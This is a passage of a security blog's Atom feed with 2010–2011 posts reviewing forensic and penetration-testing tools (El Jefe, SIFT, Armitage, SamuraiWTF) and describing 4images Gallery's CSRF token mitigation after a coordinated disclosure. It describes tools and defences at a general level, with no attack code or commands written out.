target="_blank"&gt;El Jefe 1.1&lt;/a&gt;.&lt;br /&gt;The boss, the big kahuna, El Jefe requires his due. From the folks at &lt;a href="http://immunityinc.com/" target="_blank"&gt;Immunity&lt;/a&gt;, El Jefe is a solution that intercepts native Windows API process creation calls, allowing you to track, monitor, and correlate process creation events. &lt;br /&gt;Going many steps beyond tracking simple process creation, El Jefe provides a microscopic view of the binaries that are run: SHA1, PID, flags, sorted chronologically with spawned offspring while click-able for instant analysis. &lt;br /&gt;You'll enjoy centralized storage; data which can be queried from the Django-based web app. &lt;br /&gt;Setup is quite straightforward, making use of El Jefe equally so.&lt;br /&gt;I experimented various malware types including Bifrost and Zeus on victim VMs and results were immediate.&lt;br /&gt;Strings references were quickly revealed via Binary Information as seen in Figure 1.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TU3RFdKw4AI/AAAAAAAAAbY/lb9IbF_qggM/s1600/3-ElJefeBinaryInfo.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 277px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TU3RFdKw4AI/AAAAAAAAAbY/lb9IbF_qggM/s320/3-ElJefeBinaryInfo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5570338205786497026" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Captured client logging includes evidence of intrusion based on suspicious entropy as seen from a Zeus infected VM in Figure 2.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TU3RjFTsOoI/AAAAAAAAAbg/MFH6ye1gYNw/s1600/5-ElJefeEntropy.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 204px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TU3RjFTsOoI/AAAAAAAAAbg/MFH6ye1gYNw/s320/5-ElJefeEntropy.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5570338714777565826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I enjoyed researching El Jefe's capabilities to no end.&lt;br /&gt;Well done and thanks to Immunity's Justin Seitz.&lt;br /&gt;&lt;br /&gt;The article is posted for you &lt;a href="http://holisticinfosec.org/toolsmith/pdf/february2011.pdf" target="_blank"&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Speaking of things Zeus related, I'm presenting &lt;a href="http://holisticinfosec.org/content/view/174/1/" target="_blank"&gt;Malware-Proof: Building Resistant Web Applications&lt;/a&gt; at the &lt;a href="https://365.rsaconference.com/community/connect/efn" target="_blank"&gt;RSA 2011 eFraud Network Forum&lt;/a&gt; (invitation only). See you there if you happen to be a signed-up attendee. &lt;br /&gt;&lt;br /&gt;Enjoy and cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/02/el-jefe-boss-will-see-you-know.html&amp;amp;title=El%20Jefe:%20The%20Boss%20Will%20See%20You%20Now " title="El Jefe: The Boss Will See You Now "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/02/el-jefe-boss-will-see-you-know.html" title="El Jefe: The Boss Will See You Now "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/02/el-jefe-boss-will-see-you-know.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-3239536993672084806?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/3239536993672084806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=3239536993672084806' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3239536993672084806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3239536993672084806'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/02/el-jefe-boss-will-see-you-know.html' title='El Jefe: The Boss Will See You Now'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TU3TUVGjkSI/AAAAAAAAAbo/eEjdejlatgo/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-586729054546894277</id><published>2011-01-31T21:04:00.000-08:00</published><updated>2011-01-31T21:55:04.500-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SIFT'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>2010 Toolsmith Tool of the Year: SIFT 2.0</title><content type='html'>As voted by you, the readers, the 2010 &lt;a href="https://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;Toolsmith&lt;/a&gt; Tool of the Year is &lt;a href="http://computer-forensics.sans.org/community/downloads/" target="_blank"&gt;SIFT 2.0&lt;/a&gt;.&lt;br /&gt;The SANS Investigative Forensic Toolkit (SIFT) Workstation Version 2.0, as discussed in May's ISSA Journal, is a Linux distribution that is preconfigured for forensic investigations. Created by Rob Lee for the &lt;a href="http://www.sans.org/security-training/advanced-computer-forensic-analysis-incident-response-98-mid" target="_blank"&gt;SANS 508 track&lt;/a&gt;, SIFT 2.0 includes all the tools a forensic analyst/incident responder would require to conduct a thorough system investigation. I particularly favor it for memory analysis - grab a memory image from your victim system; pull it back to your SIFT VM and get down to business in no time flat. &lt;br /&gt;&lt;br /&gt;Of 76 votes, SIFT 2.0 came in first with 24 votes (31.6%).&lt;br /&gt;Rounding out the top five:&lt;br /&gt;2) &lt;a href="https://holisticinfosec.org/toolsmith/docs/february2010.html" target="_blank"&gt;Firefox Addons for Security Practitioners&lt;/a&gt; with 20 votes (26.3%)&lt;br /&gt;3) &lt;a href="https://holisticinfosec.org/toolsmith/pdf/december2010.pdf" target="_blank"&gt;SamuraiWTF&lt;/a&gt; with 18 votes (23.7%)&lt;br /&gt;4) &lt;a href="https://holisticinfosec.org/toolsmith/docs/july2010.html" target="_blank"&gt;NetWitness Investigator&lt;/a&gt; with 12 votes (15.8%)&lt;br /&gt;5) &lt;a href="https://holisticinfosec.org/toolsmith/docs/november2010.html" target="_blank"&gt;Confessor and MOLE&lt;/a&gt; with 8 votes (10.5%)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/TUeaQMHEKBI/AAAAAAAAAbE/-b74oKmFZSs/s1600/2010ToolsmithToolOfTheYear.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 116px; height: 200px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/TUeaQMHEKBI/AAAAAAAAAbE/-b74oKmFZSs/s200/2010ToolsmithToolOfTheYear.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5568589067186350098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On behalf of the &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt; and I, congratulations to Rob Lee and his team!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/01/2010-toolsmith-tool-of-year-sift-20.html&amp;amp;title=2010%20Toolsmith%20Tool%20of%20the%20Year:%20SIFT%202.0&lt;br /&gt;" title="2010 Toolsmith Tool of the Year: SIFT 2.0&lt;br /&gt; "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/01/2010-toolsmith-tool-of-year-sift-20.html" title="2010 Toolsmith Tool of the Year: SIFT 2.0&lt;br /&gt; "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/01/2010-toolsmith-tool-of-year-sift-20.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-586729054546894277?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/586729054546894277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=586729054546894277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/586729054546894277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/586729054546894277'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/01/2010-toolsmith-tool-of-year-sift-20.html' title='2010 Toolsmith Tool of the Year: SIFT 2.0'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kVOWaY1TAF0/TUeaQMHEKBI/AAAAAAAAAbE/-b74oKmFZSs/s72-c/2010ToolsmithToolOfTheYear.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8730181529622563480</id><published>2011-01-03T10:32:00.001-08:00</published><updated>2011-01-03T16:27:46.703-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>toolsmith: Armitage - Cyber Attack Management for Metasploit</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TSIXpBxIkQI/AAAAAAAAAa8/KDOZ0bpVMGs/s1600/title.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 171px; height: 200px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TSIXpBxIkQI/AAAAAAAAAa8/KDOZ0bpVMGs/s200/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5558030883745206530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Raphael Mudge's &lt;a href="http://www.fastandeasyhacking.com/" target="_blank"&gt;Armitage&lt;/a&gt; is the subject of January 2011's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; in the &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt;.&lt;br /&gt;Armitage is a "cyber attack management" platform for Metasploit.&lt;br /&gt;Depending on your background or the availability of commercial tools in your environment (Core, Canvas, etc.), your comfort with Metasploit likely varies&lt;br /&gt;with the depth of your experience. Armitage1 is designed to help close some of the experience or comfort gaps, described by the developer as useful for “non-hackers”.&lt;br /&gt;For use as a demonstration tool to elucidate vulnerabilities and their exploit to management or customers, Armitage is excellent.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Basic Armitage workflow (should be familiar to all pentesters):&lt;/span&gt; &lt;br /&gt;&lt;span style="font-style:italic;"&gt;Create a workspace, conduct or import scans, identify vulnerabilities, determine appropriate attacks, gain access, and further your presence in the environment.&lt;/span&gt;&lt;br /&gt;I've always loved the premise of attack pivoting. Gain a foothold on one system, them jump off to another host or network. Armitage definitely supports such thinking. ;-)&lt;br /&gt;Download Backtrack 4 R2, install Armitage, and see what you think. I enjoyed testing it for this article immensely; I believe you'll find it equally useful.&lt;br /&gt;Download the article &lt;a href="http://holisticinfosec.org/toolsmith/pdf/january2011.pdf" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/01/toolsmith-armitage-cyber-attack.html&amp;amp;title=toolsmith:%20Armitage%20-%20Cyber%20Attack%20Management%20for%20Metasploit" title="toolsmith: Armitage - Cyber Attack Management for Metasploit "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/01/toolsmith-armitage-cyber-attack.html" title="toolsmith: Armitage - Cyber Attack Management for Metasploit "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/01/toolsmith-armitage-cyber-attack.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8730181529622563480?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8730181529622563480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8730181529622563480' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8730181529622563480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8730181529622563480'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/01/toolsmith-armitage-cyber-attack.html' title='toolsmith: Armitage - Cyber Attack Management for Metasploit'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/TSIXpBxIkQI/AAAAAAAAAa8/KDOZ0bpVMGs/s72-c/title.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-961806577633626083</id><published>2011-01-01T17:51:00.001-08:00</published><updated>2011-01-01T17:53:57.632-08:00</updated><title type='text'>Help choose the 2010 Toolsmith Tool of the Year</title><content type='html'>Rather than choose the best of 2010 myself, I need your help choosing the 2010 &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;Toolsmith&lt;/a&gt; Tool of the Year.&lt;br /&gt;We covered a lot of excellent information security-related tools in 2010; which one did you believe was the best?&lt;br /&gt;I appreciate you taking the time to make your choice &lt;a href="http://www.surveymonkey.com/s/56GTXH6" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;Results will be announced February 1, 2011.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-961806577633626083?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/961806577633626083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=961806577633626083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/961806577633626083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/961806577633626083'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/01/help-choose-2010-toolsmith-tool-of-year.html' title='Help choose the 2010 Toolsmith Tool of the Year'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-403229352615984190</id><published>2010-12-01T11:25:00.001-08:00</published><updated>2010-12-01T13:15:47.906-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>toolsmith: SamuraiWTF</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TPa38cIqPXI/AAAAAAAAAao/kAKdy_V1ftA/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TPa38cIqPXI/AAAAAAAAAao/kAKdy_V1ftA/s320/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5545822240125894002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;December's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; covers &lt;a href="http://samurai.inguardians.com/" target="_blank"&gt;SamuraiWTF&lt;/a&gt;. &lt;br /&gt;I'll repeat myself as stated in the &lt;a href="http://holisticinfosec.org/toolsmith/pdf/december2010.pdf" target="_blank"&gt;article&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SamuraiWTF rocks, plain and simple.&lt;/span&gt; &lt;br /&gt;It’d be my 2010 Toolsmith Tool of the Year but alas, I am letting you, dear reader, make that “Tool of the Year” decision for 2010 (poll details to follow as 2010 draws to a close).&lt;br /&gt;&lt;br /&gt;SamuraiWTF is a LiveCD Linux release designed to serve you for your web pen-testing needs. Kevin Johnson of Secure Ideas and Justin Searle of InGuardians included what they believe are the best of the open source and free tools that focus on testing and attacking websites, selections based on the tools they use as part of their job duties. SamuraiWTF includes tools useful in all four steps of a web pen-test:&lt;br /&gt;• &lt;span style="font-weight:bold;"&gt;Reconnaissance&lt;/span&gt; – Fierce domain scanner, Maltego (be sure to check out the &lt;a href="http://maltego.shodanhq.com/"&gt;Shodan Maltego add-on&lt;/a&gt;)&lt;br /&gt;• &lt;span style="font-weight:bold;"&gt;Mapping&lt;/span&gt; – WebScarab, ratproxy&lt;br /&gt;• &lt;span style="font-weight:bold;"&gt;Discovery&lt;/span&gt; – w3af and burp&lt;br /&gt;• &lt;span style="font-weight:bold;"&gt;Exploitation&lt;/span&gt; – BeEF, AJAXShell&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://holisticinfosec.org/toolsmith/pdf/december2010.pdf"&gt;article&lt;/a&gt; walks through using SamuraiWTF for each phase, but as always, I had the most fun exemplifying exploit methodology with BeEF. &lt;br /&gt;Browser zombies rule! ;-)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TPa3r6qpPSI/AAAAAAAAAag/XnR_7CxVQb0/s1600/zombie.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TPa3r6qpPSI/AAAAAAAAAag/XnR_7CxVQb0/s320/zombie.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5545821956263722274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you seek to learn a ton about web application security testing, or consolidate all the tools you’ll likely need on one system, SamuraiWTF is for you.&lt;br /&gt;As Kevin indicated for the article, you can use SamuraiWTF as your base install, then enhance with Burp Suite Pro if you happen to be a commercial Burp user. &lt;br /&gt;Stay tuned for the SamuraiWTF 1.0 release, and contribute to the project if so motivated.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/12/toolsmith-samuraiwtf.html&amp;amp;title=toolsmith:%20SamuraiWTF" title="toolsmith: SamuraiWTF "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/12/toolsmith-samuraiwtf.html" title="toolsmith: SamuraiWTF "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/12/toolsmith-samuraiwtf.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-403229352615984190?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/403229352615984190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=403229352615984190' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/403229352615984190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/403229352615984190'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/12/toolsmith-samuraiwtf.html' title='toolsmith: SamuraiWTF'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TPa38cIqPXI/AAAAAAAAAao/kAKdy_V1ftA/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2731961410477180599</id><published>2010-11-11T21:38:00.000-08:00</published><updated>2010-11-12T13:40:57.523-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><category scheme='http://www.blogger.com/atom/ns#' term='CVD'/><title type='text'>CSRF mitigation: 4images Gallery's comprehensive approach</title><content type='html'>Once in awhile, in my &lt;a href="http://osvdb.org/creditees/4374-russ-mcree" target="_blank"&gt;quest&lt;/a&gt; to break (and promote fixing of) every web application I encounter, I have email discussions with some excellent people who reach out to me after the initial advisory during a &lt;a href="http://blogs.technet.com/b/ecostrat/archive/2010/07/22/coordinated-vulnerability-disclosure-bringing-balance-to-the-force.aspx" target="_blank"&gt;coordinated disclosure&lt;/a&gt;.&lt;br /&gt;Such was the case with Kai S. of &lt;a href="http://www.dotsunited.de/" target="_blank"&gt;Dots United GmbH&lt;/a&gt;, the team who develops the &lt;a href="http://www.4homepages.de/" target="_blank"&gt;4images Gallery&lt;/a&gt;.&lt;br /&gt;Just a day or two after he'd been contacted by &lt;a href="http://secunia.com/"&gt;Secunia&lt;/a&gt;, whom I submit my vulnerability findings to for disclosure coordination, I heard directly from Kai. He asked me to provide more detail with regard to the finding indicating that 4images Gallery accepted "HTTP requests without performing any validity checks to verify the request", better known as cross-site request forgery (CSRF).&lt;br /&gt;After replying with my proof of concept and some resource material, Kai replied that he would "forward this to our developers so we can release a fixed version".&lt;br /&gt;On October 27 Dots United released a &lt;a href="http://www.4homepages.de/forum/index.php?topic=28168.0" target="_blank"&gt;fix&lt;/a&gt; for all versions up to and including 1.7.8.&lt;br /&gt;On November 10, the 4images Gallery team released version &lt;a href="http://www.4homepages.de/forum/index.php?topic=28250.0" target="_blank"&gt;1.7.9&lt;/a&gt; inclusive of global CSRF mitigation.&lt;br /&gt;In addition to a deserved "Well done!" for excellent communication as well as a timely fix turnaround, I'd like to applaud their direct approach to the fix, seemingly based on OWASP &lt;a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern" target="_blank"&gt;recommendations&lt;/a&gt;. Should all web application developers take a similar path, we'd likely see a reduction in CSRF vulnerability &lt;a href="http://holisticinfosec.blogspot.com/2010/09/csrf-on-increase-per-two-reports.html" target="_blank"&gt;statistics&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Let me walk you through some of the 4images Gallery CSRF mitgation methods.&lt;br /&gt;The core of the protection is &lt;span style="font-family: courier new;"&gt;includes/csrf_utils.php&lt;/span&gt;; CSRF protection is enabled by default.&lt;br /&gt;As created by &lt;span style="font-family: courier new;"&gt;csrf_utils.php&lt;/span&gt;, generate a random MD5-derived token:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TN1ygyEK8AI/AAAAAAAAAZo/qMBxegLYVoQ/s1600/token.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 122px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TN1ygyEK8AI/AAAAAAAAAZo/qMBxegLYVoQ/s320/token.png" alt="" id="BLOGGER_PHOTO_ID_5538709024256225282" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Return said token to the form as follows:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TN10kQ9aVpI/AAAAAAAAAZw/SJX0sqHtDM4/s1600/returnToken.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 42px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TN10kQ9aVpI/AAAAAAAAAZw/SJX0sqHtDM4/s320/returnToken.png" alt="" id="BLOGGER_PHOTO_ID_5538711283112236690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then when some jerk like me comes along and throws something nasty at an admin...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TN12cBtBO7I/AAAAAAAAAZ4/SODH6YEUypw/s1600/csrfAttack.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 48px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TN12cBtBO7I/AAAAAAAAAZ4/SODH6YEUypw/s320/csrfAttack.png" alt="" id="BLOGGER_PHOTO_ID_5538713340601252786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...the attacker is thwarted by a unique, random token.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TN2WrzNof8I/AAAAAAAAAaQ/Rru28FaEbNY/s1600/tamperToken.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 89px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TN2WrzNof8I/AAAAAAAAAaQ/Rru28FaEbNY/s320/tamperToken.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5538748795961507778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Add to the above-mentioned functionality the fact that the 4images devs allow you to take advanced control of CSRF protection via the config.php file. You can manage the default bit or maintain granular control of frontend/backend protection, token expiration, CSRF protection variable naming, and even XHTML vs. HTML.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TN2R8M4QqvI/AAAAAAAAAaI/kV3tV47FZW4/s1600/csrfGranular.png" 